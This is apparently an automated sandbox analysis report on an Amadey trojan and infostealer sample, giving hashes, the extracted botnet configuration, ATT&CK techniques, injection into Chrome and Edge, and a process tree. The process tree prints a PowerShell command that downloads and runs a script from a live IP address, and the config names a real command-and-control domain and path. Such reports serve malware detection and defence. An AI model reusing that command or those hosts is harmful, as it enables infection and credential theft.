amadey | 4f6681ace6a9e711c8bf2072fa7b34e82d38af3edc730da7fe582eb25dcca8ca

Analysis

max time kernel
298s
max time network
278s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20251017-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20251017-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
29/10/2025, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup.exe
Size 10.1MB
Sample251029-ry24mszrbs
SHA256 7cf5256c29c1c8ebf4e8322f049e751831eb2b5c23a50a784a1edf93f8b1f37f
MD5 d7e4cccaee96d1403d808decfe56030d
SHA1 df8007725c1d9726dfa7249e7b167f6c649e354f
SHA512 0d5a136d645afa1f6a9db14ad547cfa5e6085db8ac282c3e7d3204fcec8d7a5675fe32fdabf2532c85606a539b3edd643098dd138280f79035eaf861e2de68d6
SSDEEP 98304:kQDTI1gkmCNbquwfEyZoYouYik3CUVkoVxeIke1oGy4IEitn8:Y+kxbqlfVZo7uYiXUiIZvctn8
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

74a65b discovery execution amadey spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family

amadey

Version

5.64

Botnet

74a65b

http://mi.overlapsnowbound.com

Attributes

install_dir
2d44bacc67
install_file
Ahdvfzkeyo.exe
strings_key
c03135dc90dd4923dc1d82a56dc86dab
url_paths
/kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects Amadey x86-bit Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3376-72-0x0000000000C50000-0x0000000000CBF000-memory.dmp	family_amadey_v2

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
41	5184	powershell.exe
54	3376	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
4740	ICLWrap.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5184	powershell.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 4468 set thread context of 4740	4468	setup.exe	84
PID 4740 set thread context of 3676	4740	ICLWrap.exe	87
PID 4740 set thread context of 2224	4740	ICLWrap.exe	89
PID 4740 set thread context of 5532	4740	ICLWrap.exe	91
PID 4740 set thread context of 5600	4740	ICLWrap.exe	92
PID 4740 set thread context of 924	4740	ICLWrap.exe	93
PID 4740 set thread context of 5896	4740	ICLWrap.exe	94
PID 4740 set thread context of 5136	4740	ICLWrap.exe	95
PID 4740 set thread context of 1028	4740	ICLWrap.exe	96
PID 4740 set thread context of 3376	4740	ICLWrap.exe	100
PID 4740 set thread context of 2020	4740	ICLWrap.exe	101

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1128	2020	WerFault.exe	101

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICLWrap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4468	setup.exe
4468	setup.exe
4468	setup.exe
4468	setup.exe
4468	setup.exe
4468	setup.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe
4740	ICLWrap.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4468	setup.exe
4468	setup.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5184	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4468 wrote to memory of 4740	4468	setup.exe	84
PID 4468 wrote to memory of 4740	4468	setup.exe	84
PID 4468 wrote to memory of 4740	4468	setup.exe	84
PID 4468 wrote to memory of 4740	4468	setup.exe	84
PID 4468 wrote to memory of 4740	4468	setup.exe	84
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 4740 wrote to memory of 3676	4740	ICLWrap.exe	87
PID 3676 wrote to memory of 4740	3676	chrome.exe	84
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 4740 wrote to memory of 2224	4740	ICLWrap.exe	89
PID 2224 wrote to memory of 4740	2224	msedge.exe	84
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5532	4740	ICLWrap.exe	91
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 5600	4740	ICLWrap.exe	92
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93
PID 4740 wrote to memory of 924	4740	ICLWrap.exe	93

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4468
- C:\Users\Admin\AppData\Local\Temp\sqsfobo\ICLWrap.exe
  C:\Users\Admin\AppData\Local\Temp\sqsfobo\ICLWrap.exe
  2⤵
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:5532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5600
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:5136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:1028
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5184
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe"
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    PID:3376
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2020
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 628
      4⤵
      Program crash
      PID:1128

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1460

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:5844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2020 -ip 2020
1⤵
PID:5972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3A2ACAB.tmp

Path C:\Users\Admin\AppData\Local\Temp\3A2ACAB.tmp
Size 1.4MB
SHA256 521604d4f7efe560809744bb0a4335bd16b20559d45ae709d1cea888a69954ef
MD5 cd4888601d1fdcc3aeb98c894b7ed158
SHA1 915236e3768449b7bd8f0c361bca6444997396f6
SHA512 0a493c43e50ca5d7b0e6a6e53984ad084f3aa7a3561cdf6636391c5ed855fb74edb5e5cd1ca87f500b11654a002c5801ac058279aa50851b40db24967bec03e7
SSDEEP 24576:S3ubIRWPM1fvCfMEVdICBQURz321A4WKI80tWbigTjzLxKaLxpne56s35pj2j:ScQWPMQMEVGCBbRz2LWKn0Ab/jLxpnei
MD5 SHA1 SHA512 SSDEEP

Submit Download

638C7D6.tmp

Path C:\Users\Admin\AppData\Local\Temp\638C7D6.tmp
Size 40B
SHA256 2e543dff625e3c35ec58908039f3c331ee57f7629a3b06a1200c11696c1e880e
MD5 f5982e03c585bb23783348e980be9062
SHA1 de37733463e72ee18cfb06a581e4971c624f578c
SHA512 c7f8f4a88290e1b9682181dac2dd60cab1838defcab1e956d3ed29ecd197448c341d53af74e06023137f20046aa9ee70d106cb3b788d3d60dc226152e3766fdd
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_1wnhhgwr.apr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1wnhhgwr.apr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

ICLWrap.exe

Path C:\Users\Admin\AppData\Local\Temp\sqsfobo\ICLWrap.exe
Size 463KB
SHA256 cd5d82a3971b4d660b7cf3b0f1781ca872388417cfd221531145c7a943b14478
MD5 c7259f6114daa06dd9a620dcedcbdc8e
SHA1 d6dc1ed72ed29e095aaf764fa00edda1229ac53c
SHA512 1fa94dc016dd8eec2a65de121c455d7359496bac41620e3c69083ac56be91ae12fa67ddd4e9a109d88b569c5adc787d282aff98d6929ba0070eac23aba8019ab
SSDEEP 6144:Ctpe7DMkK+YfJgT7bjlbGmBYrCjiKf4bDZeluR6vE+AIyk:Cje7D/K+hjjlSWqgQfiEzIX
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/924-27-0x000002A096910000-0x000002A096912000-memory.dmp

Download

memory/1028-30-0x000002B92B1E0000-0x000002B92B1E2000-memory.dmp

Download

memory/2020-50-0x0000000001550000-0x0000000001553000-memory.dmp

Download

memory/2020-58-0x0000000003CF0000-0x0000000004300000-memory.dmp

Download

memory/2020-52-0x0000000003CF0000-0x0000000004300000-memory.dmp

Download

memory/2020-56-0x0000000003CF0000-0x0000000004300000-memory.dmp

Download

memory/2020-57-0x0000000003CF0000-0x0000000004300000-memory.dmp

Download

memory/2224-24-0x000001BCFB600000-0x000001BCFB602000-memory.dmp

Download

memory/3376-72-0x0000000000C50000-0x0000000000CBF000-memory.dmp

Download

memory/3376-34-0x0000000000540000-0x0000000000543000-memory.dmp

Download

memory/3376-35-0x0000000000BF0000-0x0000000000C42000-memory.dmp

Download

memory/3676-23-0x0000029FE0820000-0x0000029FE0822000-memory.dmp

Download

memory/4468-11-0x00007FFB13540000-0x00007FFB1363F000-memory.dmp

Download

memory/4468-20-0x00007FFB218D0000-0x00007FFB21AC8000-memory.dmp

Download

memory/4468-1-0x00007FFB21AD0000-0x00007FFB21AD2000-memory.dmp

Download

memory/4468-9-0x00007FFB218D0000-0x00007FFB21AC8000-memory.dmp

Download

memory/4468-8-0x00007FFB218D0000-0x00007FFB21AC8000-memory.dmp

Download

memory/4468-5-0x00007FFB2196D000-0x00007FFB2196E000-memory.dmp

Download

memory/4468-4-0x00007FFB13540000-0x00007FFB1363F000-memory.dmp

Download

memory/4468-2-0x0000000011000000-0x0000000011A14000-memory.dmp

Download

memory/4740-19-0x00007FFB218D0000-0x00007FFB21AC8000-memory.dmp

Download

memory/4740-64-0x0000000000170000-0x0000000000194000-memory.dmp

Download

memory/4740-13-0x0000000000170000-0x0000000000194000-memory.dmp

Download

memory/4740-31-0x0000000000170000-0x0000000000194000-memory.dmp

Download

memory/4740-15-0x0000000000170000-0x0000000000194000-memory.dmp

Download

memory/4740-21-0x0000000000170000-0x0000000000194000-memory.dmp

Download

memory/4740-51-0x0000000000170000-0x0000000000194000-memory.dmp

Download

memory/5136-29-0x000002468B550000-0x000002468B552000-memory.dmp

Download

memory/5184-33-0x0000000005C40000-0x000000000630A000-memory.dmp

Download

memory/5184-62-0x0000000006ED0000-0x0000000006EEA000-memory.dmp

Download

memory/5184-32-0x0000000002FF0000-0x0000000003026000-memory.dmp

Download

memory/5184-68-0x000000000DEF0000-0x000000000E496000-memory.dmp

Download

memory/5184-67-0x0000000008110000-0x0000000008132000-memory.dmp

Download

memory/5184-40-0x0000000006310000-0x0000000006376000-memory.dmp

Download

memory/5184-39-0x0000000005A70000-0x0000000005A92000-memory.dmp

Download

memory/5184-60-0x00000000069F0000-0x0000000006A3C000-memory.dmp

Download

memory/5184-49-0x00000000064F0000-0x0000000006847000-memory.dmp

Download

memory/5184-61-0x00000000082C0000-0x000000000893A000-memory.dmp

Download

memory/5184-59-0x00000000069A0000-0x00000000069BE000-memory.dmp

Download

memory/5184-41-0x0000000006380000-0x00000000063E6000-memory.dmp

Download

memory/5184-65-0x0000000074910000-0x00000000750C1000-memory.dmp

Download

memory/5184-66-0x0000000008180000-0x0000000008216000-memory.dmp

Download

memory/5532-25-0x000001E794950000-0x000001E794952000-memory.dmp

Download

memory/5600-26-0x0000027E74CB0000-0x0000027E74CB2000-memory.dmp

Download

memory/5896-28-0x0000020104C70000-0x0000020104C72000-memory.dmp

Download